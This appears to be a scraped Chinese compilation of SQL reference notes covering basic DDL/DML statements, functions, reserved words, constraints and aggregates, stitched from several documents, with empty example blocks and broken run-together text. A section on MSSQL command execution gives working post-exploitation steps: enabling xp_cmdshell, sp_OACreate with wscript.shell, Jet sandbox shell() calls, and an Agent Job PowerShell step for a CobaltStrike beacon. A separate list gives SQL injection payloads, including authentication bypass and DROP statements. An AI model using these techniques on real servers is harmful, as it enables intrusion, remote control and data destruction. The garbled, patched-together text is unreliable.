sql命令总结
- 格式:docx
- 大小:40.28 KB
- 文档页数:20
下列语句部分是Mssql 语句,不可以在access 中使用。
SQL 分类:DDL 类型包括数据库、表的创建,修改,删除,声明—数据定义语言(CREATE,ALTER,DROP,DECLARE)DML 类型包括数据表中记录的查询,删除,修改,插入—数据操纵语言(SELECT,DELETE,UPDATE,INSERT)DCL 类型包括数据库用户赋权,废除用户访问权限,提交当前事务,中止当前事务—数据控制语言(GRANT,REVOKE,COMMIT,ROLLBACK)首先,简要介绍基础语句:1、说明:创建数据库CREATE DATABASE db1(db1 代表数据库表,可自命名)2、说明:删除数据库drop database db1(db1 代表数据库表,可自命名)3、说明:备份sql server--- 创建备份数据的deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'--- 开始备份BACKUP DATABASE pubs TO testBack4、说明:创建新表create table tb1(Id int not null primary key,name varchar,..)(tb1 为数据表名,ID 为字段,int 为数据类型整型,not null 为数据是否可为空,Primary Key 为主键设置,其中not null,primary key 为可选项,字段,数据类型自定义。
)根据已有的表创建新表:A:create table tab_new like tab_old (使用旧表创建新表)B:create table tab_new as select col1,col2… from tab_old definition only5、说明:删除新表:drop table tb16、说明:增加一个列:Alter table tabname add column col type注:列增加后将不能删除。
基础sql语句1. SELECT: 用于查询表中的数据,可以使用通配符(*)表示所有列或者指定列名。
例子:SELECT * FROM table_name;2. FROM: 用于指定查询的数据来源,即需要查询哪张表。
例子:SELECT * FROM table_name;3. WHERE: 用于筛选满足条件的数据行,可以使用比较运算符(>,<,=,!=,>=,<=)等。
例子:SELECT * FROM table_name WHEREcolumn_name >= 10;4. ORDER BY: 用于将查询结果按照某个列进行排序,可以指定升序或降序(ASC或DESC)。
例子:SELECT * FROM table_name ORDER BYcolumn_name ASC;5. GROUP BY: 用于将查询结果按照某个列进行分组,通常使用聚合函数(SUM,COUNT,AVG,MAX,MIN)进行数据计算。
例子:SELECT column_name, COUNT(*) FROM table_name GROUP BY column_name;6. LIMIT: 用于限制查询结果的数量,只返回前几条数据。
例子:SELECT * FROM table_name LIMIT 10;7. JOIN: 用于将多张表按照共同的字段进行连接,可以有多种连接方式(INNER JOIN,LEFT JOIN,RIGHT JOIN,FULL OUTER JOIN)。
例子:SELECT * FROM table1 LEFT JOIN table2 ONtable1.column_name = table2.column_name.。
SQL数据库基本操作命令SQL(Structured Query Language)是一种用于操作和管理关系型数据库的语言。
下面是一些SQL数据库基本操作命令:1.SELECT:用于从数据库中检索数据。
语法如下:```SELECT column1, column2, ... FROM table_name WHERE condition;```示例:``````2.INSERTINTO:用于向数据库中插入新记录。
语法如下:```INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...);```示例:``````3.UPDATE:用于更新数据库中的记录。
语法如下:```UPDATE table_name SET column1 = value1, column2 = value2, ... WHERE condition;```示例:``````4.DELETE:用于从数据库中删除记录。
语法如下:```DELETE FROM table_name WHERE condition;```示例:```DELETE FROM employees WHERE name = 'John';```5.CREATEDATABASE:用于创建新的数据库。
语法如下:```CREATE DATABASE database_name;```示例:```CREATE DATABASE mydatabase;```6.CREATETABLE:用于创建新的表。
语法如下:```CREATE TABLE table_namecolumn1 datatype constraints,column2 datatype constraints,...```示例:```CREATE TABLE employeesid INT PRIMARY KEY,name VARCHAR(50),salary DECIMAL(10, 2)```7.ALTERTABLE:用于修改表的结构。
一、基础1、说明:创建数据库CREATE DATABASE database-name2、说明:删除数据库drop database dbname3、说明:备份sql server--- 创建备份数据的 deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack','c:\mssql7backup\MyNwind_1.dat'--- 开始备份BACKUP DATABASE pubs TO testBack4、说明:创建新表create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)根据已有的表创建新表:A:select * into table_new from table_old (使用旧表创建新表)B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>5、说明:删除新表drop table tabname6、说明:增加一个列,删除一个列A:alter table tabname add column col typeB:alter table tabname drop column colname注:DB2DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。
7、说明:添加主键: Alter table tabname add primary key(col)说明:删除主键: Alter table tabname drop primary key(col)8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname注:索引是不可更改的,想更改必须删除重新建。
SQL函数命令大全2010-07-08 17:27:58| 分类:ERP | 标签:|字号大中小订阅本文引用自闹闹《SQL函数命令大全》sql函数大全一、内部函数1、内部合计函数1)COUNT(*)返回行数2)COUNT(DISTINCT COLNAME)返回指定列中唯一值的个数3)SUM(COLNAME/EXPRESSION)返回指定列或表达式的数值和;4)SUM(DISTINCT COLNAME)返回指定列中唯一值的和5)AVG(COLNAME/EXPRESSION)返回指定列或表达式中的数值平均值6)AVG(DISTINCT COLNAME)返回指定列中唯一值的平均值7)MIN(COLNAME/EXPRESSION)返回指定列或表达式中的数值最小值8)MAX(COLNAME/EXPRESSION)返回指定列或表达式中的数值最大值2、日期与时间函数1)DAY(DATE/DATETIME EXPRESSION)返回指定表达式中的当月几号2)MONTH(DATE/DATETIME EXPRESSION)返回指定表达式中的月份3)YEAR(DATE/DATETIME EXPRESSION)返回指定表达式中的年份4)WEEKDAY(DATE/DATETIME EXPRESSION)返回指定表达式中的当周星期几5)DATE(NOT DA TE EXPRESSION)返回指定表达式代表的日期值6)TODAY 返回当前日期的日期值7)CURRENT[FIRST TO LAST] 返回当前日期的日期时间值8)COLNAME/EXPRESSION UNITS PRECISION 返回指定精度的指定单位数9)MDY(MONTH,DA Y,YEAR)返回标识指定年、月、日的日期值10)DATETIME(DATE/DA TETIME EXPRESSION)FIRST TO LAST 返回表达式代表的日期时间值11)INTERVAL(DATE/DATETIME EXPRESSION)FIRST TO LAST 返回表达式代表的时间间隔值12)EXTEND(DATE/DA TETIME EXPRESSION,[FIRST TO LAST])返回经过调整的日期或日期时间值To_char函数将datetime和date值转化为字符值。
MSSQL执⾏命令总结⽅法⼀:xp_cmdshellexec master..xp_cmdshell "whoami"默认执⾏是关闭EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;将1修改为0则为关闭xp_cmdshell 被删除可采⽤xplog70.dll恢复Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'⽅法⼆:SP_OACREATExp_cmdshell 删除以后,可以使⽤SP_OACreate。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;执⾏[此⽅法⽆回显]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'⽅法三:通过沙盒执⾏命令开启沙盒exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1利⽤jet.oledb执⾏命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')但是,当 c:\Windows\System32\ias\dnary.mdb 或 c:\Windows\System32\ias\ias.mdb 被删除时,命令就会⽆效了.所以利⽤以下语句创建⼀个数据库:(数据库名SysSetup.xml,后缀.xml是⾃定义,不影响使⽤.)declare @hr intdeclare @object int;declare @property intexec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUTexec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'然后再利⽤jet.oledb调⽤SysSetup.xml执⾏系统命令:select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")')⽅法四:通过Agent Job执⾏命令修改开启Ageent Job,执⾏⽆回显CobaltStrike⽣成powershell上线USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe实战当中需要对payload进⾏全编码防⽌编码错误导致失败参考链接:。
sql_常用关键字SQL(Structured Query Language)是一种用于管理关系型数据库的标准化语言,它有许多常用的关键字和命令。
以下是一些常用的SQL关键字和命令:1.SELECT:用于从数据库表中检索数据。
2.FROM:用于指定要检索数据的表。
3.WHERE:用于过滤满足特定条件的数据。
4.GROUP BY:用于将数据按照指定的列进行分组。
5.HAVING:用于过滤组内的数据,与WHERE类似,但是作用于分组后的数据。
6.ORDER BY:用于对检索的数据进行排序。
7.ASC:用于指定升序排序。
8.DESC:用于指定降序排序。
9.LIMIT:用于限制检索结果的数量。
10.OFFSET:用于指定从哪一行开始检索。
11.INNER JOIN:用于将两个表通过一个或多个相等的列进行连接。
12.LEFT JOIN:用于将左表中的所有记录与右表中相匹配的记录连接。
13.RIGHT JOIN:用于将右表中的所有记录与左表中相匹配的记录连接。
14.FULL JOIN:用于将左表和右表中的所有记录连接。
15.INSERT INTO:用于向表中插入新的行。
16.UPDATE:用于修改表中已有的数据。
17.DELETE FROM:用于从表中删除行。
18.CREATE TABLE:用于创建一个新的表。
19.ALTER TABLE:用于修改现有表的结构。
20.DROP TABLE:用于删除表。
21.TRUNCATE TABLE:用于删除表中的所有行,但不删除表结构。
22.SELECT DISTINCT:用于检索唯一不重复的值。
23.COUNT:用于计算符合条件的行数。
24.SUM:用于计算数值列的总和。
25.AVG:用于计算数值列的平均值。
26.MIN:用于找出一列的最小值。
27.MAX:用于找出一列的最大值。
28.CASE:用于根据条件执行不同的操作。
29.COALESCE:用于返回参数列表中的第一个非空值。
sql注入常用命令在SQL注入攻击中,攻击者可以使用一些常用的命令来利用应用程序的漏洞,获取非授权的访问或篡改数据。
以下是一些常见的SQL注入攻击命令:1. UNION注入:用于合并两个查询的结果集。
示例:SELECT column1, column2 FROM table1 UNION SELECT column1, column2 FROM table22. SELECT注入:用于绕过认证或获取敏感信息。
示例:SELECT * FROM users WHERE username = 'admin' AND password = ' ' OR '1'='1'3. UPDATE注入:用于修改数据。
示例:UPDATE users SET password = 'newpassword' WHERE username = 'admin'4. INSERT注入:用于插入恶意数据。
示例:INSERT INTO users (username, password) VALUES ('attacker', 'password'); SELECT * FROM users WHERE username='attacker'5. DELETE注入:用于删除数据。
示例:DELETE FROM users WHERE username = 'admin'6. DROP注入:用于删除表或数据库。
示例:DROP TABLE users; DROP DATABASE dbname7. 注释符号(--):用于注释原始查询或绕过后续语句。
示例:SELECT * FROM users WHERE username = 'admin' --' AND password = 'password'。
SQL语句功能--数据操作SELECT --从数据库表中检索数据行和列INSERT --向数据库表添加新数据行DELETE --从数据库表中删除数据行UPDATE --更新数据库表中的数据--数据定义CREATE TABLE --创建一个数据库表DROP TABLE --从数据库中删除表ALTER TABLE --修改数据库表结构CREATE VIEW --创建一个视图DROP VIEW --从数据库中删除视图CREATE INDEX --为数据库表创建一个索引DROP INDEX --从数据库中删除索引CREATE PROCEDURE --创建一个存储过程DROP PROCEDURE --从数据库中删除存储过程CREATE TRIGGER --创建一个触发器DROP TRIGGER --从数据库中删除触发器CREATE SCHEMA --向数据库添加一个新模式DROP SCHEMA --从数据库中删除一个模式CREATE DOMAIN --创建一个数据值域ALTER DOMAIN --改变域定义DROP DOMAIN --从数据库中删除一个域--数据控制GRANT --授予用户访问权限DENY --拒绝用户访问REVOKE --解除用户访问权限--事务控制COMMIT --结束当前事务ROLLBACK --中止当前事务SET TRANSACTION --定义当前事务数据访问特征--程序化SQLDECLARE --为查询设定游标EXPLAN --为查询描述数据访问计划OPEN --检索查询结果打开一个游标FETCH --检索一行查询结果CLOSE --关闭游标PREPARE --为动态执行准备SQL 语句EXECUTE --动态地执行SQL 语句DESCRIBE --描述准备好的查询---局部变量declare @id char(10)--set @id = ’10010001’select @id = ’10010001’---全局变量---必须以@@开头--IF ELSEdeclare @x int @y int @z intselect @x = 1 @y = 2 @z=3if @x > @yprint ’x > y’ --打印字符串’x > y’else if @y > @zprint ’y > z’else print ’z > y’--CASEuse panguupdate employeeset e_wage =casewhen job_level = ’1’ then e_wage*1.08 when job_level = ’2’ then e_wage*1.07 when job_level = ’3’ then e_wage*1.06 else e_wage*1.05end--WHILE CONTINUE BREAK declare @x int @y int @c intselect @x = 1 @y=1while @x < 3beginprint @x --打印变量x 的值while @y < 3beginselect @c = 100*@x + @yprint @c --打印变量c 的值select @y = @y + 1endselect @x = @x + 1select @y = 1end--WAITFOR--例等待1 小时2 分零3 秒后才执行SELECT 语句waitfor delay ’01:02:03’select * from employee--例等到晚上11 点零8 分后才执行SELECT 语句waitfor time ’23:08:00’select * from employee***SELECT***select *(列名) from table_name(表名) where column_name operator valueex:(宿主)select * from stock_information where stockid = str(nid)stockname = ’str_name’stockname like ’% find this %’stockname like ’*a-zA-Z+%’ --------- ([]指定值的范围)stockname like ’*^F-M+%’ --------- (^排除指定范围)--------- 只能在使用like关键字的where子句中使用通配符)or stockpath = ’stock_path’or stocknumber < 1000and stockindex = 24not stocksex = ’man’stocknumber between 20 and 100stocknumber in(10,20,30)order by stockid desc(asc) --------- 排序,desc-降序,asc-升序order by 1,2 --------- by列号stockname = (select stockname from stock_information where stockid = 4)--------- 子查询--------- 除非能确保内层select只返回一个行的值,--------- 否则应在外层where子句中用一个in限定符select distinct column_name form table_name --------- distinct指定检索独有的列值不重复select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name select stockname , "stocknumber" = count(*) from table_name group by stockname --------- group by 将表按行分组,指定列中有相同的值having count(*) = 2 --------- having选定指定的组select *from table1, table2where table1.id *= table2.id -------- 左外部连接,table1中有的而table2中没有以null表示table1.id =* table2.id -------- 右外部连接select stockname from table1union [all] ----- union合并查询结果集,all-保留重复行select stockname from table2***insert***insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx")value (select Stockname , Stocknumber from Stock_table2)---value为select语句***update***update table_name set Stockname = "xxx" [where Stockid = 3]Stockname = defaultStockname = nullStocknumber = Stockname + 4***delete***delete from table_name where Stockid = 3truncate table_name ----------- 删除表中所有行,仍保持表的完整性drop table table_name --------------- 完全删除表***alter table*** --- 修改数据库表结构alter table database.owner.table_name add column_name char(2) null .....sp_help table_name ---- 显示表已有特征create table table_name (name char(20), age smallint, lname varchar(30))insert into table_name select ......... ----- 实现删除列的方法(创建新表)alter table table_name drop constraint Stockname_default ---- 删除Stockname default约束***function(/*常用函数*/)***----统计函数----AVG --求平均值COUNT --统计数目MAX --求最大值MIN --求最小值SUM --求和--AVGuse panguselect avg(e_wage) as dept_avgWagefrom employeegroup by dept_id--MAX--求工资最高的员工姓名use panguselect e_namefrom employeewhere e_wage =(select max(e_wage)from employee)--STDEV()--STDEV()函数返回表达式中所有数据的标准差--STDEVP()--STDEVP()函数返回总体标准差--VAR()--VAR()函数返回表达式中所有值的统计变异数--VARP()--VARP()函数返回总体变异数----算术函数----/***三角函数***/SIN(float_expression) --返回以弧度表示的角的正弦COS(float_expression) --返回以弧度表示的角的余弦TAN(float_expression) --返回以弧度表示的角的正切COT(float_expression) --返回以弧度表示的角的余切/***反三角函数***/ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角ATAN2(float_expression1,float_expression2)--返回正切是float_expression1 /float_expres-sion2的以弧度表示的角DEGREES(numeric_expression)--把弧度转换为角度返回与表达式相同的数据类--INTEGER/MONEY/REAL/FLOAT 类型RADIANS(numeric_expression) --把角度转换为弧度返回与表达式相同的数据类型可为--INTEGER/MONEY/REAL/FLOAT 类型EXP(float_expression) --返回表达式的指数值LOG(float_expression) --返回表达式的自然对数值LOG10(float_expression)--返回表达式的以10 为底的对数值SQRT(float_expression) --返回表达式的平方根/***取近似值函数***/CEILING(numeric_expression) --返回>=表达式的最小整数返回的数据类型与表式相同可为--INTEGER/MONEY/REAL/FLOAT 类型FLOOR(numeric_expression) --返回<=表达式的最小整数返回的数据类型与表达式相同可为--INTEGER/MONEY/REAL/FLOAT 类型ROUND(numeric_expression) --返回以integer_expression 为精度的四舍五入值回的数据--类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型ABS(numeric_expression) --返回表达式的绝对值返回的数据类型与表达式相同为--INTEGER/MONEY/REAL/FLOAT 类型SIGN(numeric_expression) --测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型--与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型PI() --返回值为π即3.1415926535897936RAND([integer_expression]) --用任选的[integer_expression]做种子值得出0-1 间的随机浮点数----字符串函数----ASCII() --函数返回字符表达式最左端字符的ASCII 码值CHAR() --函数用于将ASCII 码转换为字符--如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值LOWER() --函数把字符串全部转换为小写UPPER() --函数把字符串全部转换为大写STR() --函数把数值型数据转换为字符型数据LTRIM() --函数把字符串头部的空格去掉RTRIM() --函数把字符串尾部的空格去掉LEFT(),RIGHT(),SUBSTRING() --函数返回部分字符串CHARINDEX(),PATINDEX() --函数返回字符串中某个指定的子串出现的开始位置SOUNDEX() --函数返回一个四位字符码--SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值DIFFERENCE() --函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异--0 两个SOUNDEX 函数返回值的第一个字符不同--1 两个SOUNDEX 函数返回值的第一个字符相同--2 两个SOUNDEX 函数返回值的第一二个字符相同--3 两个SOUNDEX 函数返回值的第一二三个字符相同--4 两个SOUNDEX 函数返回值完全相同QUOTENAME() --函数返回被特定字符括起来的字符串/*select quotename(’abc’,’,’)quotename(’abc’)运行结果如下----------------------------------{{abc} [abc]*/REPLICATE() --函数返回一个重复character_expression 指定次数的字符串/*select replicate(’abc’, 3) replicate( ’abc’, -2)运行结果如下----------- -----------abcabcabc NULL*/REVERSE() --函数将指定的字符串的字符排列顺序颠倒REPLACE() --函数返回被替换了指定子串的字符串/*select replace(’abc123g’,’123’,’def’)运行结果如下----------- -----------abcdefg*/SPACE() --函数返回一个有指定长度的空白字符串STUFF() --函数用另一子串替换字符串指定位置长度的子串----数据类型转换函数----CAST() 函数语法如下CAST() (<expression> AS <data_ type>[ length ])CONVERT() 函数语法如下CONVERT() (<data_ type>[ length ], <expression> [, style])select cast(100+99 as char) convert(varchar(12), getdate())运行结果如下------------------------------ ------------199 Jan 15 2000----日期函数----DAY() --函数返回date_expression 中的日期值MONTH() --函数返回date_expression 中的月份值YEAR() --函数返回date_expression 中的年份值DATEADD(<datepart> ,<number> ,<date>)--函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期DATEDIFF(<datepart> ,<number> ,<date>)--函数返回两个指定日期在datepart 方面的不同之处DATENAME(<datepart> , <date>) --函数以字符串的形式返回日期的指定部分DATEPART(<datepart> , <date>) --函数以整数值的形式返回日期的指定部分GETDATE() --函数以DATETIME 的缺省格式返回系统当前的日期和时间----系统函数----APP_NAME() --函数返回当前执行的应用程序的名称COALESCE() --函数返回众多表达式中第一个非NULL 表达式的值COL_LENGTH(<’table_name’>,<’column_name’>) --函数返回表中指定字段的长度值COL_NAME(<table_id>, <column_id>) --函数返回表中指定字段的名称即列名DATALENGTH() --函数返回数据表达式的数据的实际长度DB_ID(*’database_name’+) --函数返回数据库的编号DB_NAME(database_id) --函数返回数据库的名称HOST_ID() --函数返回服务器端计算机的名称HOST_NAME() --函数返回服务器端计算机的名称IDENTITY(<data_type>[, seed increment]) [AS column_name])--IDENTITY() 函数只在SELECT INTO 语句中使用用于插入一个identity column列到新表中/*select identity(int, 1, 1) as column_nameinto newtablefrom oldtable*/ISDATE() --函数判断所给定的表达式是否为合理日期ISNULL(<check_expression>, <replacement_value>) --函数将表达式中的NULL 值用指定值替换ISNUMERIC() --函数判断所给定的表达式是否为合理的数值NEWID() --函数返回一个UNIQUEIDENTIFIER 类型的数值NULLIF(<expression1>, <expression2>)--NULLIF 函数在expression1 与expression2 相等时返回NULL 值若不相等时则返回expression1 的值sql中的保留字action add aggregate allalter after and asasc avg avg_row_length auto_incrementbetween bigint bit binaryblob bool both bycascade case char characterchange check checksum columncolumns comment constraint createcross current_date current_time current_timestampdata database databases datedatetime day day_hour day_minuteday_second dayofmonth dayofweek dayofyeardec decimal default delayeddelay_key_write delete desc describedistinct distinctrow double dropend else escape escapedenclosed enum explain existsfields file first floatfloat4 float8 flush foreignfrom for full functionglobal grant grants grouphaving heap high_priority hourhour_minute hour_second hosts identifiedignore in index infileinner insert insert_id intinteger interval int1 int2int3 int4 int8 intoif is isam joinkey keys kill last_insert_idleading left length likelines limit load locallock logs long longbloblongtext low_priority max max_rowsmatch mediumblob mediumtext mediumintmiddleint min_rows minute minute_secondmodify month monthname myisamnatural numeric no notnull on optimize optionoptionally or order outeroutfile pack_keys partial passwordprecision primary procedure processprocesslist privileges read realreferences reload regexp renamereplace restrict returns revokerlike row rows secondselect set show shutdownsmallint soname sql_big_tables sql_big_selectssql_low_priority_updates sql_log_off sql_log_update sql_select_limit sql_small_result sql_big_result sql_warnings straight_joinstarting status string tabletables temporary terminated textthen time timestamp tinyblobtinytext tinyint trailing totype use using uniqueunlock unsigned update usagevalues varchar variables varyingvarbinary with write whenwhere year year_month zerofill。
厉害的sql语句以下是一些常见的强大的SQL语句示例:
1. 查询表中的所有数据:
```
SELECT * FROM 表名;
```
2. 查询特定条件下的数据:
```
SELECT * FROM 表名 WHERE 条件;
```
3. 查询表中的数据并按照某一列进行排序:```
SELECT * FROM 表名 ORDER BY 列名;
```
4. 查询表中的数据并统计某一列的总和:```
SELECT SUM(列名) FROM 表名;
```
5. 查询表中的数据并进行分组统计:
```
SELECT 列名, COUNT(*) FROM 表名 GROUP BY 列名;
```
6. 查询表中的数据并进行连接查询:
```
SELECT 表1.列名, 表2.列名 FROM 表1 INNER JOIN 表2 ON 表1.列名 = 表2.列名;
```
7. 更新表中的数据:
```
UPDATE 表名 SET 列名 = 值 WHERE 条件;
```
8. 插入新数据到表中:
```
INSERT INTO 表名 (列1, 列2) VALUES (值1, 值2);
```
9. 删除表中的数据:
```
DELETE FROM 表名 WHERE 条件;
```
这些只是一些常见的SQL语句示例,SQL语言非常强大,可以进行
更复杂的查询和操作。
具体的语句根据具体的需求来编写。
设置主键、外键Create table dept(Dept_id int primary key,Dept_name nvarchar(100) not null,Dept_address nvarchar(100))Create table emp(Emp_id int constraint PK_emp_id_master primary key,Emp_name nvarchar(20) no null,Emp_sex nchar(1)Dept_id int constraint FK_dept_foreigin foreign key references dept(dept_id) // 设置外键必须对方为主键)主键自增stu_id int constraint pk_sut_id_1 primary key identity(自增)单引号和双引号区别单引号表示字符串双引号表示数据的名字主键和唯一键的区别不用业务上的逻辑作为主键添加一个编号当主键唯一键可以作为业务的唯一值比如说输入用户名不能重复约束对表和字段Distinct 不允许重复的Select deptno from emp -- 14条记录Select distinct deptno from emp --不重复的三条记录Distinct 也可以过滤重复的nullSelect distinct comm, deptno from emp 可以把2个列组合过滤了Check用法限制/约束值Create table student(Stu_id int primary key,Stu_sal int check (stu_sal>=1000 ang stu_sal<=8000) //限制范围)Default 默认值Stu_sex nchar(1) default(‘男’) 默认值Unique 唯一限制Stu_name nvarchar(200) uniqueUnique 后可以加上not null 可以组合使用Insert into student2 values (1,张三)Insert into student2 values (2,张三) 违反要有唯一性(4,null)唯一键可以允许有一列为null且只能有一列为空主键不能为空Oracle 可以允许多列为空自增identity主键编号自增Identity(100,5) 最大100 每次加5自增无须赋值如Student_id int primary key identity(100,5),Student_name nvarchar(200)Insert into 表名values(‘XXX’)Order by 用法Select * from emp order by sal; 默认升序desc降序从高到低Select * from emp order by 部门,工资如果部门相同先升序排序再给在同一部门的工资升序排序如果部门降序(desc) 不影响工资的排序注意:最好为每一个字段都设置排序标准多对多如何实现【重点】需要通过一张单独的表让班级表和教师表产生联系班级表Create table banji(Banji_id int primary key,Banji_num int not null,Banji_name nvarchar(100),)教师表Create table jiaoshiJiaoshi_id primary key,Jiaoshi_name ncvarchar(200))用来模拟班级和教师的关系Create table banji_jiaoshi_mapping(Banji_id int constraint fk_banji_id foreign key references banji(banji_id),Jiaoshi_id int foreign key references jiaoshi(jiaoshi_id)Kecheng nvarchar(20)Constraint pk_banji_id_jiaoshi_id primary key(banji_id, jiaoshi_id))如果有教师需要教同一个班的2门以上课程那么还需要将课程添加进统一主键删除表和内容Drop table XXDelete from 表名where student_name =“XX”Insert into 插入Inset into student values(1,1000) 在表student插入1,1000数据(stu_id,stu_sal列名) 可在表后加入列名指定插入语句后不加逗号加分号into 插入新表名select后面插入新表名将查询信息放入指定新表计算列查询关键是顺序Select ename,sal*12 as “年薪” from emp 用双引号Select ename,sal*12 as “年薪”, job from emp // as是用名字显示Isnull(字段名,0)Select ename,sal*12+isnull(comm,0)“年薪”from emp;--isnull(comm,0)如果comm是null就返回0 否则返回comm的值NULL能和不能参与的运算输出非空的信息Select * from emp where comm null --error总结null不能参与<> != =运算可参与is not任何类型与NULL参与运算结果都是nullSelect * from emp where comm is null, 输出为空的Is no null 输出不空的Between 在某个范围--查找工资在1500到3000之间的(包括1500和3000)的员工Select * from emp where sal>=1500 and sal<=3000等价于Select * from emp where sal between 1500 and 3000小于1500 或者大于3000Select * from emp where sal<1500 or sal>3000等价于Select * from emp where sal not between 1500 and 3000Where是为了添加一个查询条件In 属于若干个孤立的值Select * from emp where sal in (1500,3000,5000)数据库不等于2种表示!= <>Top表示输出前面的列Select top 2 * from empSelect top 12 percent * from emp // percent百分之2.1为3 2.9为3 百分之规则Top和between联合运用工资1500~3000的前5列出Select top 4 * from empwhere sal between 1500 and 3000order by sal desc 降序从高到低先输出再过滤再排序先输出把1500~3000的工资取出然后排序最后取出前4 再自己总结:先将一些条件输出再把准确的列给列出来模糊查询like’’Select * from empWhere ename like ‘%A%’模糊查询在ename中A相关的不包含可以在like前加上not匹配的条件有通配符% 百分号0个或者多个字符%A% 包含A的就输出A% 首字母是A就输出%A 结尾是A输出_(下划线)表示任意单个字符_表示Select * from emp where ename like ‘_A%’第二个字符是A就输出[a-f]a-f任意字符select *from emp where ename like ‘_[A-f]%’把ename中第二个字符是A或B或C到F的记录输出[^a-c]^是取反异或select *from emp where ename like ‘_[^A-C]%’把ename中第二个字符不是A,B,C的记录输出特殊字符转义问题Select * from student where name like ‘%\%%’ escape’\’Escape表示将\表示特殊字符用\将%转义‘%\_%’ escape ‘\’聚合函数统计分组信息单行函数和多行函数单行函数不能和多行函数一起使用变小写Select lower(ename) from empLower 变小写是单行函数Upper 变大写Select max(sal) from empMax是多行函数Count()Select count(*) from emp;返回表的记录个数重复记录当作有效Select count(distinct deptno) from emp;不返回重复的Max,min,count联合Select max(sal)”最高工资”,min(sal)”最低工资”,count(*)”员工人数” from emp;聚合函数介绍1. AVG 返回指定组中的平均值,空值被忽略。
例:select prd_no,avg(qty) from sales group by prd_no2. COUNT 返回指定组中项目的数量。
例:select count(prd_no) from sales3. MAX 返回指定数据的最大值。
例:select prd_no,max(qty) from sales group by prd_no4. MIN 返回指定数据的最小值。
例:select prd_no,min(qty) from sales group by prd_no5. SUM 返回指定数据的和,只能用于数字列,空值被忽略。
例:select prd_no,sum(qty) from sales group by prd_no6. COUNT_BIG 返回指定组中的项目数量,与COUNT函数不同的是COUNT_BIG返回bigint 值,而COUNT返回的是int值。
例:select count_big(prd_no) from sales7. GROUPING 产生一个附加的列,当用CUBE或ROLLUP运算符添加行时,输出值为1.当所添加的行不是由CUBE或ROLLUP产生时,输出值为0.例:select prd_no,sum(qty),grouping(prd_no) from sales group by prd_no with rollup8. BINARY_CHECKSUM 返回对表中的行或表达式列表计算的二进制校验值,用于检测表中行的更改。